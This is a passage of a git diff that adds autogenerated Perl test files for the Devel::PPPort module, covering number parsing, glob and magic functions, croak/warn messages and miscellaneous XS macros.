+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t
new file mode 100644
index 00000000000..b807ce8ccd6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/grok.t
@@ -0,0 +1,62 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/grok instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t
new file mode 100644
index 00000000000..06dfed1b54c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/gv.t
@@ -0,0 +1,63 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/gv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (7) {
+ load();
+ plan(tests => 7);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t
new file mode 100644
index 00000000000..ed1cb2e3ac2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/limits.t
@@ -0,0 +1,55 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/limits instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (4) {
+ load();
+ plan(tests => 4);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t
new file mode 100644
index 00000000000..2f382768288
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mPUSH.t
@@ -0,0 +1,62 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/mPUSH instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t
new file mode 100644
index 00000000000..f467613f27d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/magic.t
@@ -0,0 +1,120 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/magic instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (23) {
+ load();
+ plan(tests => 23);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t
new file mode 100644
index 00000000000..74ecb991bcf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/memory.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/memory instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::checkmem(), 6);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t
new file mode 100644
index 00000000000..9a9822ade0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/mess.t
@@ -0,0 +1,284 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/mess instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (93) {
+ load();
+ plan(tests => 93);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+ $@ = 'should not be visible (2)';
+ Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = 'this must be visible';
+ Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+ $@ = "this must be visible\n";
+ Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ /^\xC3\xA1 at $0 line /;
+
+if ($] ge '5.006') {
+ BEGIN { if ($] ge '5.006' && $] lt '5.008') { require utf8; utf8->import(); } }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}\n") };
+ ok $@, "\x{100}\n";
+ if ($] ne '5.008') {
+ ok $die, "\x{100}\n";
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv("\x{100}") };
+ ok $@ =~ /^\x{100} at $0 line /;
+ if ($] ne '5.008') {
+ ok $die =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in die hook', 0;
+ }
+
+ if ($] ne '5.008') {
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}\n");
+ ok $warn, "\x{100}\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\x{100}");
+ ok (my $tmp = $warn) =~ /^\x{100} at $0 line /;
+ } else {
+ skip 'skip: broken utf8 support in warn hook', 0 for 1..2;
+ }
+
+ ok Devel::PPPort::mess_sv("\x{100}\n", 0), "\x{100}\n";
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}\n"}, 1), "\x{100}\n";
+
+ ok Devel::PPPort::mess_sv("\x{100}", 0) =~ /^\x{100} at $0 line /;
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\x{100}"}, 1) =~ /^\x{100} at $0 line /;
+} else {
+ skip 'skip: no utf8 support', 0 for 1..12;
+}
+
+if (ord('A') != 65) {
+ skip 'skip: no ASCII support', 0 for 1..24;
+} elsif ($] ge '5.008' && $] ne '5.012000') {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}\n"') };
+ ok $@, "\xE1\n";
+ ok $die, "\xE1\n";
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv(eval '"\N{U+E1}"') };
+ ok $@ =~ /^\xE1 at $0 line /;
+ ok $die =~ /^\xE1 at $0 line /;
+
+ {
+ undef $die;
+ my $expect = eval '"\N{U+C3}\N{U+A1}\n"';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1\n") };
+ ok $@, $expect;
+ ok $die, $expect;
+ }
+
+ {
+ undef $die;
+ my $expect = eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ ok $@ =~ $expect;
+ ok $die =~ $expect;
+ }
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}\n"');
+ ok $warn, "\xE1\n";
+
+ undef $warn;
+ Devel::PPPort::warn_sv(eval '"\N{U+E1}"');
+ ok $warn =~ /^\xE1 at $0 line /;
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1\n");
+ ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1");
+ ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+ skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+ ok $@ == $scalar_ref;
+ ok $die == $scalar_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+ ok $@ == $array_ref;
+ ok $die == $array_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+ ok $@ == $hash_ref;
+ ok $die == $hash_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($obj) };
+ ok $@ == $obj;
+ ok $die == $obj;
+} else {
+ skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t
new file mode 100644
index 00000000000..0c4f027380e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/misc.t
@@ -0,0 +1,157 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/misc instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (48) {
+ load();
+ plan(tests => 48);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+ eval q{
+ no warnings "deprecated";
+ no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+ my $_ = "Tony";
+ ok(&Devel::PPPort::DEFSV(), "Fred");
+ ok(&Devel::PPPort::UNDERBAR(), "Tony");
+ };
+}
+else {
+ ok(1);
+ ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+@my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+ eval q{
+ ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+ ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+ };
+} else {
+ ok(1, 1);
+ ok(1, 1);
+}
+
+@r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+ skip 'no qr// objects in this perl', 0;
+ skip 'no qr// objects in this perl', 0;
+} else {
+ my $qr = eval 'qr/./';
+ ok(Devel::PPPort::SvRXOK($qr));
+ ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t
new file mode 100644
index 00000000000..cb207a4587f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newCONSTSUB.t
@@ -0,0 +1,59 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newCONSTSUB instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (3) {
+ load();
+ plan(tests => 3);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
